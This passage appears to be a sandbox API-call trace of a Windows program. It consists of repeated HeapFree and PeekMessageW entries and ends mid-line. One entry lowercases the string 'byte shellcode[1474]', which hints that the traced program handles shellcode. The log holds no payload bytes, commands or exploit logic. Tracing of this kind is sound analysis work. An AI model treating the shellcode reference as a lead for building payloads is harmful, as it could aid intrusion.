[0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077eb8 | out: hHeap=0xe80000) returned 1 [0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f18 | out: hHeap=0xe80000) returned 1 [0139.505] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10781b8 | out: hHeap=0xe80000) returned 1 [0139.506] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f30 | out: hHeap=0xe80000) returned 1 [0139.506] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078068 | out: hHeap=0xe80000) returned 1 [0139.506] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ff0 | out: hHeap=0xe80000) returned 1 [0139.506] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078260 | out: hHeap=0xe80000) returned 1 [0139.506] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077fc0 | out: hHeap=0xe80000) returned 1 [0139.506] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078098 | out: hHeap=0xe80000) returned 1 [0139.506] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10781e8 | out: hHeap=0xe80000) returned 1 [0139.506] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078200 | out: hHeap=0xe80000) returned 1 [0139.506] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078248 | out: hHeap=0xe80000) returned 1 [0139.506] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10780f8 | out: hHeap=0xe80000) returned 1 [0139.506] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078008 | out: hHeap=0xe80000) returned 1 [0139.506] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10782a8 | out: hHeap=0xe80000) returned 1 [0139.506] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078170 | out: hHeap=0xe80000) returned 1 [0139.506] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078188 | out: hHeap=0xe80000) returned 1 [0139.506] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10781a0 | out: hHeap=0xe80000) returned 1 [0139.506] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078038 | out: hHeap=0xe80000) returned 1 [0139.506] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077fd8 | out: hHeap=0xe80000) returned 1 [0139.506] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10781d0 | out: hHeap=0xe80000) returned 1 [0139.506] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078050 | out: hHeap=0xe80000) returned 1 [0139.506] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078020 | out: hHeap=0xe80000) returned 1 [0139.506] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078080 | out: hHeap=0xe80000) returned 1 [0139.506] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078218 | out: hHeap=0xe80000) returned 1 [0139.507] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefd330 | out: hHeap=0xe80000) returned 1 [0139.507] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.507] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.507] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.507] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.507] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.507] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.507] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.507] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.507] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.507] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.507] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.507] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.507] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.508] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.508] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.508] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.508] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.508] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.508] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.508] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.508] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.508] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.508] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.508] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.508] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.508] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.508] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.508] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.508] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.508] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.508] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.508] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.508] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.509] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.509] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.509] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.509] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.509] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.509] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.509] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.509] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.509] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.509] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.509] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.509] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.509] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.509] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.509] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.509] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.509] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.509] CharLowerBuffW (in: lpsz="byte shellcode[1474]", cchLength=0x14 | out: lpsz="byte shellcode[1474]") returned 0x14 [0139.510] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.510] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.510] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.510] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.510] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.510] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.510] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.510] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.510] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.510] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.510] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.510] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.510] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.510] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.606] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.606] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.606] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.606] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.606] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.606] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.606] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.606] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.606] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.606] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.607] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.607] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.607] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.607] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.607] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.607] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.607] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.607] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.607] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.607] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.607] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.607] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.607] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.607] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.607] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.607] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.607] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.607] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.607] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.607] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.607] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.607] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.608] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.608] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.608] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.608] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.608] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.608] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.608] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.608] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.608] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.608] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.608] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.608] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.608] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.608] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.608] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.608] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.608] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.608] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.609] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.609] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.609] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.609] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.609] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.609] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.609] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.609] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.609] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.609] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.609] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.609] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.609] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.609] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.609] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.609] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.610] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.610] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0139.610] PeekMessageW (in: 